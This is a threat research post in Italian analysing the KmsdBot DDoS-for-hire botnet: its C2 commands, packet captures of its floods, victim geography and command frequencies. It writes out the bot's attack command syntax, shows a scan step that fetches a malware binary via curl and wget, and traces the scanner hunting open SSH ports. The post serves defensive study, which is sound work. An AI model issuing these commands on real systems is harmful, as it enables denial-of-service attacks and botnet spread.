Emulazione della funzionalità C2 (Command and Control) di KmsdBot e analisi del traffico dei suoi attacchi
Redazione e contributi aggiuntivi di Tricia Howard
Analisi riassuntiva
I ricercatori di Akamai hanno proseguito la loro ricerca su KmsdBot, una botnetdi cryptomining e hanno esaminato il traffico dei suoi attacchi.
A causa della miriade di aree geografiche e settori presi di mira, riteniamo che KmsdBot sia un attaccoDDoS(Distributed Denial of Service) sferrato a pagamento.
In base agli IP e ai domini osservati, la maggior parte delle vittime si trova in Asia, Nord America ed Europa.
Due obiettivi degni di nota sono stati FiveM e RedM, due modificatori di giochi, rispettivamente, per Grand Theft Auto V e Red Dead Redemption 2, che ci forniscono informazioni sui clienti di questa botnet.
Sebbene non possiamo confermare le origini della botnet, si osserva un'interessante mancanza di attività in Russia e nelle aree geografiche circostanti, che potrebbe indicare la sua origine.
Introduzione
A novembre, una botnet di cryptomining è rimasta bloccata in uno dei nostri honeypot. Il nostro SIRT (Security Intelligence Response Team) l'ha analizzata e denominata KmsdBot. Questa botnet ha infettato l'honeypot dopo aver sperimentato una nuova configurazione e ha avuto alcune origini interessanti. Abbiamo continuato ad analizzare e ad eseguire prove con KmsdBot, inclusa la modifica del file binario e il puntamento alla nostra funzionalità C2 (Command and Control), riuscendo a vedere l'autore dell'attacco bloccare la botnet.
Come parte della nostra continua ricerca, abbiamo deciso di documentare i diversi comandi che il KmsdBot accetta e implementa effettivamente. L'ambiente che stiamo testando ci consente di instradare la funzionalità C2 e inviare il traffico degli attacchi a host specifici, il che significa che siamo in grado di esaminare il traffico inviato da diversi comandi di attacco. Per riferimento, il bot include attacchi di livello 4 e di livello 7 che utilizzano TCP, UDP, HTTP e HTTPS con richieste GET e POST.
Analisi iniziale
Attraverso l'analisi del malware, siamo riusciti a individuare alcune stringhe di comando cercando l'istruzione "move absolute" (Figura 1).
Figura 1: un elenco parziale di stringhe di comando di botnet
Abbiamo individuato più comandi esaminando altre istruzioni utilizzate per caricare i dati nei registri. Questa volta l'istruzione è LEA (Load Effective Address) (Figura 2). Da lì, siamo stati in grado di analizzare le diverse posizioni delle stringhe del server C2 (Figura 3).
Figura 2: un secondo elenco parziale di comandi aggiuntivi
Figura 3: posizione della stringa del server C2
Analisi del traffico degli attacchi
In base ai tcpdump del traffico degli attacco, alcuni dei comandi disponibili non sembrano ancora essere implementati completamente, ma, invece, inviano un pacchetto predefinito o vuoto. La maggior parte di questi comandi non implementati è la versione TCP di un comando UDP funzionante. Per i comandi che funzionano, tuttavia, possiamo osservare alcuni modelli di attacco unici.
Il primo attacco che si distingue si chiama "bigdata" e invia richieste POST da 1 Mb alla porta specificata. L'intestazione Content-Type indica che il payload è codificato in URL, ma, dopo averlo esaminato, sembra trattarsi di contenuto indesiderato. L'obiettivo di questo attacco è inviare grandi quantità di dati nel corpo di ogni richiesta per aumentare la quantità di larghezza di banda necessaria a ciascun pacchetto per elaborare la richiesta. Si tratta di una funzionalità di base utilizzata da quasi tutte le campagne DDoS ed è anche una delle funzionalità più diffuse per questa botnet in base alle nostre osservazioni.
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
Oltre a !bigdata, esaminiamo !tcpbigdata e !udpbigdata. Questi comandi non inviano un payload altrettanto grande e sono, rispettivamente, pacchetti SYN e UDP. La loro funzione sembra essere la stessa dei bigdata standard, in cui aumentano il sovraccarico imposto da questi pacchetti a un server aumentando la dimensione dei pacchetti, ma forniscono anche il controllo della scelta del traffico SYN e UDP.
Utilizzando un SYN flood, il criminale riesce ad abusare dell'handshake a tre vie utilizzato nel protocollo TCP per stabilire una connessione semiaperta su molte porte diverse. Ciò fa sì che il server di destinazione abbia difficoltà a gestire la quantità di traffico e, ancor più, non riesce a distinguere richieste di connessione legittime da richieste dannose. Gli attacchi UDP traggono vantaggio dalla mancanza dell'handshake a tre vie, facilitando l'attacco di un obiettivo per la quantità inferiore di sovraccarico da parte del criminale. Se l'obiettivo non valuta correttamente il limite, questo attacco può risultare efficace anche se sferrato con un minor numero di risorse.
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
Alcuni comandi di traffico POST e GET HTTP(s) standard, inoltre, si mimetizzavano con il traffico standard somigliando molto a un normale pacchetto sia per dimensioni che per formato, anziché concentrarsi sull'impatto complessivo della dimensione del singolo pacchetto. L'obiettivo tipico degli attacchi basati su HTTP è rappresentato da un gran numero di pacchetti difficili da distinguere dalla normale attività e quindi difficile da filtrare quando si risponde a un attacco. Come potete osservare di seguito, questi pacchetti assomigliano molto a pacchetti generici.
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
I comandi esadecimali (!udphex e !tcphex) contengono una piccola quantità di contenuto con codifica esadecimale. Ciò potrebbe essere dovuto al fatto che alcuni host richiedono che il contenuto sia codificato in esadecimale per elaborare il comando oppure potrebbero essere inviati con l'intento di rendere difficile l'interpretazione dei dati all'interno del server preso di mira.
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
Mentre i comandi udphex/tcphex non si concentravano sulle dimensioni, i comandi tcphexclimb/udphexclimb sembrano integrare questa strategia. Ogni comando viene inviato in un pacchetto. Con questi comandi, la dimensione dei pacchetti è inizialmente piccola, simile al traffico udphex e tcphex , ma aumenta man mano che ne vengono inviati altri. Dopo aver osservato questo traffico per un po' di tempo, possiamo vedere che, dopo aver raggiunto una certa dimensione specificata, il pacchetto ricomincerà con una dimensione più piccola aumentando di nuovo e ripetendo questo processo più e più volte.
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
Due comandi particolari si sono distinti perché sembrano prendere di mira i server di modding dei videogiochi. Nel nostro primo post avevamo scritto di aver osservato per la prima volta KmsdBot con FiveM. FiveM e RedM sono piattaforme per l'hosting di server modificati, rispettivamente, di "Grand Theft Auto V" e "Red Dead Redemption 2", che consentono ai proprietari di server di creare regole diverse e integrare nel server nuove idee non presenti nel gioco autonomo.
La presenza di questi due comandi avvalora il sospetto che questo malware sia una forma di attacco DDoS a pagamento. Questa teoria è supportata anche dall'ampia varietà di settori presi di mira: gaming, brand di lusso e, persino, aziende di servizi per la sicurezza.
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
Una funzionalità davvero esclusiva di questa botnet è il comando !scan . La funzione di scansione sembra prendere di mira percorsi specifici all'interno dell'ambiente mirato, esegue un handshake a tre vie, quindi invia loro una richiesta curl PUSH e una richiesta wget PUSH. La scansione sembra anche eseguire due diversi file binari, kumd e kmsd.
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Abbiamo osservato kmsd eseguendo '/x86_64/ksmdx’ e abbiamo tentato di utilizzare questi parametri con il file binario ksmdx per osservare cosa sarebbe successo. Una volta iniziata la scansione degli IP con la porta 22 lasciata aperta, è aumentato il sospetto che venga utilizzato per cercare ulteriori dispositivi da infettare e integrare nella botnet.
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
Aree geografiche
Oltre ai comandi di attacco, siamo stati in grado di mappare gli IP e i domini presi di mira che abbiamo osservato in aree geografiche. In base agli IP osservati, una grande concentrazione di obiettivi si trovava in Asia, Nord America ed Europa.
C'è stata anche un'attività notevolmente minima mirata al territorio russo e alle aree vicine, che può essere un utile indicatore per determinare la vera origine di questi attacchi. Nella Figura 4, ogni indicatore indica almeno un tentativo di attacco di KmsdBot.
Figura 4: tentativi di infezione di KmsdBot
Monitoraggio dei comandi C2
Alcuni dei nostri sforzi iniziali ruotavano attorno all'osservazione dell'attività proveniente dal server C2. Abbiamo iniziato inserendoci nella botnet come host infetto e poi abbiamo proceduto ad attendere che i comandi di attacco arrivassero dal server C2. Abbiamo registrato questi comandi di attacco in Elastic, annotando i comandi, gli obiettivi, gli indicatori di data/ora e altre variabili che abbiamo osservato.
In tal modo, abbiamo potuto vedere quali capacità di attacco venivano utilizzate, ma anche avere un'idea della diffusione delle vittime e di quale era esattamente lo scopo di ogni comando. Tramite questo processo, siamo stati in grado di estrarre questi 18 comandi:
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
Ciò che ci ha colpito immediatamente esaminando i nomi di questi comandi è stata la specificità di alcuni comandi e la varietà complessiva supportata. Nel caso di "bigdata", l'abbiamo visto non solo offerto come funzionalità autonoma, ma anche come versione specifica per TCP e per UDP. La maggior parte degli altri comandi vengono offerti in modo simile.
Inoltre, abbiamo osservato un insieme di comandi destinati a server di gaming specifici: "fivem" e "redm". La presenza di questi comandi si allinea alle precedenti osservazioni di server di gaming mirati e offre uno sguardo di questa botnet a pagamento ai clienti.
Nella Figura 5 è possibile vedere la suddivisione e la frequenza dei comandi di attacco osservati nell'arco di 30 giorni.
Figura 5: i comandi di botnet più utilizzati e le relative frequenze, osservati nell'arco di 30 giorni
I comandi "bigdata" e "get" sono in testa al gruppo con più di 70 comandi, probabilmente perché sono gli attacchi generici di maggior impatto. Il terzo attacco più frequente, "fivem", presenta circa 45 comandi. Pertanto, sebbene i server di gaming siano un obiettivo specifico, questo settore potrebbe non essere l'unico a venire colpito da questi attacchi.
Il comando FiveM viene ancora utilizzato molto, come anche RedM, ma le frequenze dei comandi ci portano a concludere che le vittime prese di mira variano molto. Il supporto per più tipi di server aumenta l'usabilità complessiva di questa botnet e sembra essere efficace nell'attirare i clienti.
Conclusione
Quando abbiamo iniziato ad analizzare KmsdBot, è stato interessante per alcuni importanti motivi: Era scritto in Go, presentava funzionalità di cryptomining e aveva obiettivi apparentemente irregolari. Dopo ulteriori analisi, le prove indicano che si tratta di un attacco DDoS presentato come un servizio, il che spiegherebbe molti dei fatti interessanti al riguardo.
Uno degli obiettivi del SIRT di Akamai è analizzare e documentare l'evoluzione di botnet come KmsdBot e informare gli utenti di ciò che osserviamo. KmsdBot è conforme ad alcune delle tendenze che abbiamo osservato in generale, in particolare il linguaggio in cui è scritto.
Sta diventando sempre più comune sviluppare codice dannoso in diversi linguaggi, come Go e persino Python compilato. Il SIRT continuerà a monitorare il panorama delle minacce con le sue fluttuazioni.